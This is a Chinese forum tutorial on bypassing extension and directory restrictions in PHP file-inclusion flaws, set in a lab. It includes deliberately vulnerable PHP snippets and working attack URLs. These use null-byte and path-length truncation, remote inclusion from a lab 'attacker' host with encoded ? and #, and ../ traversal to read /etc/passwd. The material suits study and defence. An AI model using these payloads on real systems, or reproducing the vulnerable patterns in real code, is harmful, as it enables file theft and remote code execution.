文件包含漏洞绕过-网络安全论坛-网络安全-阻击者联盟

文件包含漏洞绕过

前述文章的示例代码未采取任何防御措施,对攻击者而言几乎不存在限制,可称为无限制文件包含漏洞。随着Web开发人员安全意识的提升,文件包含功能中通常会设置一些限制性措施,如指定文件扩展名或指定包含目录等,因而在实际应用中,无限制文件包含漏洞已较为罕见。本节将详细介绍针对这两类限制性文件包含漏洞的常见绕过技术。
绕过文件扩展名限制
采取文件扩展名限制的示例代码如下:
<?php
$file = $_GET['file'];
if ($file) {
    include($file . '.php');
}
?>

为了实现动态内容加载并兼顾安全性,Web开发者可能在文件包含中指定文件扩展名。然而,这种方法通常采用字符串拼接实现,可能存在被绕过的风险。

1. %00截断

%00是字符串终止符“\0”的URL编码,%00截断已在文件上传漏洞中提及,该方法利用了C语言中字符串终止符“\0”的特性。当Web应用程序处理字符串遇到“\0”时,就会认为字符串已到达终止位置,从而截断“\0”后面的内容。

使用Chrome浏览器访问“http://192.168.1.101/practice4/file_include_ext.php?file=C:\Windows\System32\drivers\etc\hosts%00”,Web应用程序将变量$file与“.php”字符串拼接后得到:

C:\Windows\System32\drivers\etc\hosts .php
注意:“.php”前有一个空白符,即“\0”字符串终止符

PHP遇到“\0”终止符后会认为字符串已到达终止位置,便不再处理“\0”后面的内容,因此“.php”字符串被截断,最终包含的文件名为“C:\Windows\System32\drivers\etc\hosts”,从而成功绕过文件扩展名限制,并显示C:\Windows\System32\drivers\etc\hosts文件的内容,如图1所示。

d2b5ca33bd20250817083339

此绕过方法存在以下限制条件:

(1)PHP的版本<5.3.4。

(2)配置项magic_quotes_gpc=Off。

2. 最大路径长度截断

操作系统存在最大路径长度的限制,当输入的路径超出该限制时,操作系统会丢弃路径中的超出部分,从而导致文件扩展名被截断。

Windows系统中最大路径长度默认为260字节,包含路径开头的驱动器号、冒号、反斜线和路径末尾的终止符;Linux系统中最大路径长度默认为4096字节,包含一个字节的终止符。攻击者可以结合不同操作系统的最大路径长度,通过构造足够长的路径截断文件扩展名,从而绕过文件扩展名限制。

此处需要使用Windows7靶机中的phpStudy2018启动PHP 5.2.17版本的Web环境,如图2所示。

d2b5ca33bd20250817083353

此绕过方法存在以下限制条件:

(1)PHP的版本<5.3.0。

(2)只适用于Windows系统。

3. URL解析绕过

在远程文件包含中,攻击者可以利用URL中的查询参数(query)和片段标识符(fragment)绕过对文件扩展名的限制。

URL的基本格式如下:

scheme://[username:password@]hostname[:port]/path[?query][#fragment]

其中,查询参数(query)以“?”(问号)开头,后接键值对,例如“?name=John&age=30”;片段标识符(fragment)以“#”(井号)开头,后接标识符,例如“#section2”。

使用Chrome浏览器访问“http://192.168.1.101/practice4/file_include_ext.php?file=http://192.168.1.103/phpinfo.txt%3F”,其中“%3F”是“?”的URL编码,IP地址为192.168.1.103的CentOS7攻击机模拟远程主机,其Web服务目录中存在文件名为“phpinfo.txt”的文件,其文件内容为“<?php phpinfo();?>”。Web应用程序将变量$file与“.php”字符串拼接后得到:

http://192.168.1.103/phpinfo.txt?.php

URL解析过程中,Web应用程序将“.php”视为查询参数,因此实际包含的文件为“http://192.168.1.103/phpinfo.txt”,从而绕过文件扩展名限制,执行结果如图4所示。

d2b5ca33bd20250817083427

类似地,除了“?”后的内容会被解析为查询参数,“#”后的内容也会被解析为片段标识符。使用Chrome浏览器访问“http://192.168.1.101/practice4/file_include_ext.php?file=http://192.168.1.103/phpinfo.txt%23”,其中“%23”是“#”的URL编码,Web应用程序将变量$file与“.php”字符串拼接后得到:

http://192.168.1.103/phpinfo.txt#.php
在URL解析过程中,Web应用程序将“.php”视为片段标识符,因此实际包含的文件为“http://192.168.1.103/phpinfo.txt”,从而绕过文件扩展名限制,执行结果如图5所示。

d2b5ca33bd20250817083455

上述绕过方式适用于对文件扩展名有限制的远程文件包含漏洞。此外,file参数值中的“?”和“#”必须进行URL编码,以避免解析错误。

 绕过包含目录限制
采取包含目录限制的示例代码如下:
<?php
$file = $_GET['file'];
if ($file) {
    include('/var/www/html/' . $file);
}
?>

上述示例代码只允许包含位于/var/www/html/目录的文件。然而,Web应用程序对用户输入缺乏严格的过滤,攻击者可以通过“../”绕过此限制。

使用Chrome浏览器访问http://192.168.1.104/practice4/file_include_dir.php?file=../../../../../../etc/passwd(在Linux系统中,根目录的上一层目录仍然指向根目录本身,因此“../”的数量应尽可能多,以确保到达根目录),Web应用程序将“/var/www/html”字符串与变量$file拼接后得到:
/var/www/html/../../../../../../etc/passwd

经过系统的路径解析,/var/www/html/../../../../../../etc/passwd实际指向“/etc/passwd”,攻击者可以读取其中的敏感信息,执行结果如图6所示。

d2b5ca33bd20250817083532

 

请登录后发表评论

    没有回复内容